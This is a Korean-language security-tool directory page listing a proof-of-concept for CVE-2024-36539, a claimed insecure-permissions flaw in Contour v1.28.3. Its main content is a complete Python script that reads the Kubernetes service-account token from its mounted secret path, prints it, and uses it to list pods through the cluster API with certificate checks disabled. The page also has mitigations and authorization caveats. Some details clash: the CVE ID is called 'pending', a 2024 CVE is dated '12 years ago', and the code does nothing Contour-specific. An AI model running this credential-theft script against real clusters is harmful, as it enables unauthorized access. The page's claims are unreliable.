Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-36539 — Contour v1.28.3의 안전하지 않은 권한에 대한 PoC 익스플로잇으로, Kubernetes 서비스 계정 토큰을 검색하고 클러스터 API에 액세스하여 권한 상승을 시연합니다. | Kitploit
도구/GitHubGitHub/abdurahmon3236/cve-2024-36539
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationPost-ExploitationPenetration TestingCloud SecurityRed Teaming
GitHubabdurahmon3236/cve-2024-36539

CVE-2024-36539

Contour v1.28.3의 안전하지 않은 권한에 대한 PoC 익스플로잇으로, Kubernetes 서비스 계정 토큰을 검색하고 클러스터 API에 액세스하여 권한 상승을 시연합니다.

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

다음은 Contour v1.28.3의 안전하지 않은 권한 취약점을 보여주는 개념 증명(PoC)에 대한 README.md입니다:


Contour v1.28.3의 안전하지 않은 권한 취약점에 대한 개념 증명(PoC)

이 저장소는 Contour v1.28.3에서 안전하지 않은 권한 취약점을 보여주는 개념 증명(PoC) 스크립트를 포함합니다. 이 취약점을 통해 공격자는 서비스 계정의 토큰을 획득하여 민감한 데이터에 접근하고 권한을 상승시킬 수 있습니다.

취약점 설명

CVE-ID: (보류 중)

개요: Contour v1.28.3에는 공격자가 서비스 계정의 토큰에 접근할 수 있게 하는 안전하지 않은 권한이 포함되어 있습니다. 이 취약점을 악용하면 공격자가 서비스 계정의 토큰을 획득하여 Kubernetes 클러스터 내에서 민감한 데이터에 접근하고 잠재적으로 권한을 상승시킬 수 있습니다.

영향받는 버전:

  • Contour v1.28.3

완화 조치:

  • Contour에서 사용하는 서비스 계정의 권한을 검토하고 조정합니다.
  • 서비스 계정에 최소한의 필요한 권한만 부여합니다.
  • 서비스 계정 토큰을 정기적으로 감사하고 교체합니다.

PoC 세부 정보

이 PoC 스크립트는 Contour v1.28.3에서 서비스 계정의 토큰에 접근하는 방법을 보여줍니다. 이 테스트를 수행하기 위해 명시적인 허가를 받았는지 확인하십시오.

PoC 스크립트

root@kitploit:~
import os
import requests

# Configuration
kubernetes_api_url = "https://kubernetes.default.svc"  # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"  # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace"  # Path to the namespace

def get_service_account_token():
    try:
        # Read the service account token
        with open(token_path, 'r') as token_file:
            token = token_file.read().strip()
        print(f"[+] Service Account Token: {token}")
        return token
    except Exception as e:
        print(f"[-] Error reading token: {e}")
        return None

def get_namespace():
    try:
        # Read the namespace
        with open(namespace_path, 'r') as namespace_file:
            namespace = namespace_file.read().strip()
        print(f"[+] Namespace: {namespace}")
        return namespace
    except Exception as e:
        print(f"[-] Error reading namespace: {e}")
        return None

def access_kubernetes_api(token, namespace):
    try:
        # Set the headers with the token
        headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json"
        }
        
        # Make a request to the Kubernetes API to get pods in the namespace
        response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
        
        # Print the response details
        print("Status Code:", response.status_code)
        print("Response Body:", response.json())
        
        if response.status_code == 200:
            print("[+] Successfully accessed Kubernetes API.")
        else:
            print("[-] Failed to access Kubernetes API.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    # Get the service account token and namespace
    token = get_service_account_token()
    namespace = get_namespace()
    
    if token and namespace:
        # Access the Kubernetes API using the token
        access_kubernetes_api(token, namespace)

설명

  1. 구성: 스크립트가 Kubernetes API URL과 서비스 계정 토큰 및 네임스페이스 파일의 경로를 구성합니다.
  2. 서비스 계정 토큰 가져오기: 파일 시스템에서 서비스 계정 토큰을 읽습니다.
  3. 네임스페이스 가져오기: 파일 시스템에서 네임스페이스를 읽습니다.
  4. Kubernetes API 접근: 토큰을 사용하여 Kubernetes API에 요청을 보내 네임스페이스 내의 파드를 나열합니다.

중요 고려 사항

  • 권한: 대상 시스템에서 이 취약점을 테스트하기 위해 명시적인 허가를 받았는지 확인하십시오. 무단 테스트는 불법이며 비윤리적입니다.
  • 테스트 환경: 프로덕션 시스템에 영향을 미치지 않도록 통제된 환경에서 테스트를 수행하십시오.
  • 윤리적 사용: 이 PoC를 책임감 있게 사용하고 승인된 상황에서만 사용하십시오.

완화 조치

이 취약점을 해결하려면:

  1. 서비스 계정 권한 검토: 서비스 계정에 최소한의 필요한 권한만 부여하도록 합니다.
  2. 토큰 감사 및 교체: 서비스 계정을 정기적으로 감사하고 토큰을 교체하여 토큰 손상 위험을 최소화합니다.
  3. Contour 업데이트: Contour 및 기타 Kubernetes 구성 요소를 최신 보안 패치로 업데이트합니다.

Contour 배포 보안에 대한 자세한 내용은 공식 Contour 문서를 참조하십시오.


이 README.md는 취약점 개요, 문제를 보여주는 PoC 스크립트, 위험을 완화하는 방법에 대한 지침을 제공합니다. 이 PoC를 책임감 있게 사용하고 명시적 권한이 있는 시스템에서만 처리하십시오.

도구 다운로드